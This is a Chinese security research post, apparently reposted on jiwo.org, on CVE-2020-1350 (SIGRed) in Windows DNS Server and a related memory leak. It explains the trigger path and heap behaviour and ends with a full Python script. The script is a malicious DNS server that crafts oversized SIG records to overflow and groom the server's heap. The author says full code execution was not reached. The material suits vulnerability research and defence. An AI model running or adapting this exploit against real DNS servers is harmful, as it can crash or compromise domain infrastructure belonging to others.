标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-2948] 作者: 大猪 发表于: [2021-10-22] [2021-10-22]被用户:大猪 修改过
本文共 [523] 位读者顶过
Windows DNS server从cve-2020-1350到内存泄露
2020年9月26日
[出自:jiwo.org] 7月14的公布了dns的一个远程rce的补丁, 与此同时, 发现者也发布了一篇相关的利用文章(虽然他们并没有完成利用:) ) 我也研究了下这个漏洞, 从复现poc到探究利用可能性, 花了几天时间, 然后发现了一个内存泄露. 一开始没有及时报, 没想到还是被别人撞了T-T. 原发现者的文章描述的已经足够详细, 本文将简短描述下从它的文章开始, 实现poc构造. 另外分享一下同时存在的内存泄露bug, 以及一些可能的利用思路.(拖延症患者, 内容比较随意, 主要是分享一些思路和想法, 所以比较随意….) CVE-2020-1350漏洞成因
poc构造思路虽然知道需要一个ns中转记录, 但是不太会配置dns服务器, 花了一天才弄明白中转的设置.
通过发现者发表的文章SIGRed – Resolving Your Way into Domain Admin: Exploiting a 17 Year-old Bug in Windows DNS Servers中的这个图片
可以知道, 触发路径是Tcp_Receiver -> Answer_ProcessMessage -> Recurse_ProcessResponse -> Recurse_CacheMessageResourceRecords -> Wire_CreateRecordFromWire -> SigWireRead. 通过文章内容我们知道, 大意就是让这个dns server 向另一个dns server(记作X)发起请求, 然后 X 回了一个要求用tcp请求连接的回执(因为默认dns查询用的udp), 然后dns server 再次用tcp 向 X 发起请求, X 回了一个包, 就能走到这个路径. 那么首先需要构造一个强制要求tcp的回执, 这里我直接dump了wireshark的一个正常查询v-v.space的回执包, 然后设置回执flag为tcp:
之后, 向目标发起9999.v-v.space的dns请求:
得到如下交互流程:
从交互流程可以看到, 我向192.168.170.134请求了一个dns, 它将请求转到192.168.170.1的dns服务器, 服务器回执了一个带truncated的flag的答复, 然后134用tcp连接到192.168.170.1, 重新发起请求. 这时候我可以回任意的回执. 接下来在函数Recurse_CacheMessageResourceRecords内下断点, 可以看到它a1+0xE06开始, 是我给回执. 至于为什么是+0xe06位置, 可以在函数Tcp_Receiver -> Tcp_ReceiveMessage的recv调用找到. 接下来就是枯燥的逆向Recurse_CacheMessageResourceRecords函数的流程. 此处我不会再讲怎么逆向, 只说一下大致的执行流程. dns有4个类型的请求, questions, answer, authority, additional. 函数按顺序从dns头获取该类型的个数, 然后执行相应的处理. 当处理到answer类型, 且type为46或者24时, 就能进入到Wire_CreateRecordFromWire函数.
所以完整type46的poc如下:
type 24的可以参见CVE-2020-1350 (SIGRed) - Windows DNS DoS Exploit 内存泄露内存泄露就很简单了, 在函数Recurse_CacheMessageResourceRecords的循环处理函数Wire_CreateRecordFromWire返回值的时候, 如果在处理下一个answer时中途出现错误, 会直接跳出循环. 虽然它保存了所有的内存指针, 但是并没有调用free操作把所有指针释放掉, 导致最后内存指针丢失, 造成内存泄露. 最后微软给的cve是 CVE-2020-1228 .
以下是内存泄露的poc
cve-2020-1350的利用思路分析通过分析它的堆分配函数Mem_Alloc可以知道, 当请求的size超过0xa0时会分配传统heap, 否则从它自定义的大堆内选一个被切出来的小块作为结果返回. 而在函数Recurse_CacheMessageResourceRecords内, 它把函数Wire_CreateRecordFromWire返回的heap通过单项链表串联了起来, +0位置指示了下一个结构体的指针. 利用内存泄露bug, 就可以实现完美的内存布局. 而dns内部, 某些size对应的堆并没有被激活lfh, 所以可以和普通的大堆挨在一起. tcp主结构体溢出思路
我最后并没有在windows server 2019上找到合适的泄露信息组件, 导致没办法完成利用. 精力有限, 便没有继续深入分析. 希望有兴趣的人可以基于此作更长远的利用. 下面是一个溢出的示例:
# -*- coding: UTF-8 import socket from impacket.structure import Structure import dns.message, dns.query import threading import struct import time resp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \ "\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \ "\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \ "\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \ "\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68" def sendAQuery(): m = dns.message.from_wire("\xcc\x2e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00"+"\x049999"+"\x03"+"v-v"+"\x05"+"space"+"\x00\x00\x01\x00\x01") mr = dns.query.tcp(m, '192.168.170.140') print "send query" def getNameLen(data): s = 0 o = 14 l=ord(data[o:o+1]) while l: s += l+1 print l o += 1+l l = ord(data[o:o+1]) return s+1 def get_alloc_1_c0h_and_ow_c0h(n, n_answer): p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x2d'+'a'*18+'\xc0\x0d'+'a'*7+'\x10'+'\x39'+'a'*0xf+'\x00' # len 79h p1 = '\xc0\x0c\x00\x2e\x00\x01\x5c\xf5\x00\xec'+'\xff\x7a'+'a'*18+'\xc0\x0e'+'a'*9+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00' # 87h n_answer[0] = 2 return p0+p1+'\xcc'*0xff00 def get_alloc_ow_size(size, n_answer): n_answer[0] = size/8-2 if size > (0xd1+0x48): raise 'size is too big' n = 0xff & ((0x10000|(size-0x48))-0xff) p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff'+chr(n)+'\xaa'*18+'\xc0\x0d'+'a'*7+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00' fake_header = '\xcc'*16+'\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe'+'a'*(size-0x10) padsize = 2*(size+0x10)-(0x10+0x4c+0xff-size)-(len(p0)-0x20) fake_num = (0xffff-0x20-len(p0)-padsize)/(size+0x10) print 'padsize:%x,fake_num:%x'%(padsize, fake_num) return p0+'b'*padsize+fake_header*fake_num def get_alloc_ow_size_without_records(size, n_answer): n_answer[0] = 2 if size > (0xd1+0x48): raise 'size is too big' n = 0xff & ((0x10000|(size-0x48))-0xff) p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff'+chr(n)+'\xaa'*18+'\xc0\x0d'+'a'*7+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00' fake_header = '\xcc'*16+'\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe'+'a'*(size-0x10) padsize = 2*(size+0x10)-(0x10+0x4c+0xff-size)-(len(p0)-0x20) fake_num = (0xffff-0x20-len(p0)-padsize)/(size+0x10) print 'padsize:%x,fake_num:%x'%(padsize, fake_num) return p0+'b'*padsize+fake_header*fake_num def get_alloc_2_A9h_and_ow(n, n_answer): n_answer[0] = 3 p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x21'+'\x00'*18+'\xc0\x0d'+'\x00'*7+'\x04'+'\x11'+'\x39'+'\x00'*0x2+'\x00' p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x14'+'\x00'*18+'\xc0\x0e' p2 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff\x62'+'\x00'*10+'\x39'+'\x00'*7+'\xc0\x0f'+'\x00'*0x30+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00' size = 0xb0 padsize = 2*(size+0x10)-(0x10+0x4c+0xff-size)-(len(p2)-0x20) fake_header = '\xcc'*16+'\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe'+'\x00'*(size-0x10) fake_num = (0xffff-0x20-len(p0)-len(p1)-len(p2)-padsize)/(size+0x10) print 'padsize:%x,fake_num:%x'%(padsize, fake_num) return p0+p1+p2+'b'*padsize+fake_header*fake_num def get_alloc_C0h_many(number, n_answer): if number > 0x7fd: print "number is too big" return None # size = (size-0x48-0x3a-0x1c)/2 p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x2d'+'\x00'*18+'\xc0\x0d'+'\x00'*7+'\x10'+'\x28'+'\x00'*0xf+'\x00' p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x14'+'\x00'*18+'\xc0\x0e' n_answer[0] = number+1 return p0+p1*(number-1) def get_alloc_A9h_many(number, n_answer): if number > 0x7fd: print "number is too big" return None # size = (size-0x48-0x3a-0x1c)/2 p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x21'+'\x00'*18+'\xc0\x0d'+'\x00'*7+'\x04'+'\x11'+'\x39'+'\x00'*0x2+'\x00' p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x14'+'\x00'*18+'\xc0\x0e' n_answer[0] = number+1 return p0+p1*(number-1) def get_alloc_max(n, n_answer): n_answer[0] = 2 if n > 0x10047 or n < (0x48+0x3b): raise "number is too large or small" size = 0xff&(n-0x48-0x3b) size_h = (n-0x48-0x3b)>>8 p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+chr(size_h)+chr(size)+'a'*18+'\xc0\x0d' # size = 0xffc4+0x3b = 0xffff return p0 def get_alloc_max_and_free(n, n_answer): n_answer[0] = (n+0x100)/8 if n > 0x10047: raise "number is too large" size = 0xff&(n-0x48-0x3b) p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff'+chr(size)+'a'*18+'\xc0\x0d' # size = 0xffc4+0x3b = 0xffff return p0 def tcp_handler(): server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind(('0.0.0.0',53)) server.listen(5) # totalSize = 0 # size = totalSize-0x48-0 n_answer = [0] funcs = [ get_alloc_A9h_many, get_alloc_ow_size, get_alloc_max, get_alloc_2_A9h_and_ow, get_alloc_max_and_free, get_alloc_ow_size_without_records ] steps = [ (3, funcs[0], 0x700), # (1, funcs[0], 0x80), (0x80, funcs[2], 0x10000), (1, funcs[4], 0x10000), (1, funcs[2], 0x10000), (1, funcs[5], 0x100) ] step = 0 step_i = 0 while True: conn,addr = server.accept() print addr while True: print 'step:',step,'step_i', step_i data = conn.recv(1024) if not data: continue # print 'recive:',data.encode('hex') ba = bytearray() # real size is 0xa8+0x48 = 0x100 data = '{:\x00<65537}'.format(data[:18+getNameLen(data)]+steps[step][1](steps[step][2], n_answer)) ba.extend(map(ord, data)) ba[0] = struct.pack('>H', 0xffff)[0] ba[1] = struct.pack('>H', 0xffff)[1] # flags ba[4] = 0x84 ba[5] = 0 # answer PRs ba[8] = n_answer[0]>>8 ba[9] = n_answer[0]&0xff # other prs ba[10] = 0 ba[11] = 0 ba[12] = 0 ba[13] = 0 data = bytes(ba) if step == 4: thread.start_new_thread(sendAQuery,()) time.sleep(0.001) l = conn.send(data) print 'sent',hex(l), hex(len(data)) print '---------------------------\n' conn.close() step_i += 1 if steps[step][0] == step_i: step += 1 step_i = 0 break print 'tcp recv exit' def udp_handler(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind(('0.0.0.0', 53)) while True: data, addr = s.recvfrom(2048) print "received:", data.encode('hex'), "from", addr ba = bytearray() ba.extend(map(ord, data+resp)) ba[2] = 0x86 ba[7] = 1 data = bytes(ba) l = s.sendto(data, addr) print "sent", hex(l), hex(len(data)) print '-++++++++++++++++++++++\n' s.close() print 'close udp' import thread thread.start_new_thread(udp_handler,()) thread.start_new_thread(tcp_handler,()) raw_input('>')
其它
以下是溢出的长度计算方式:
|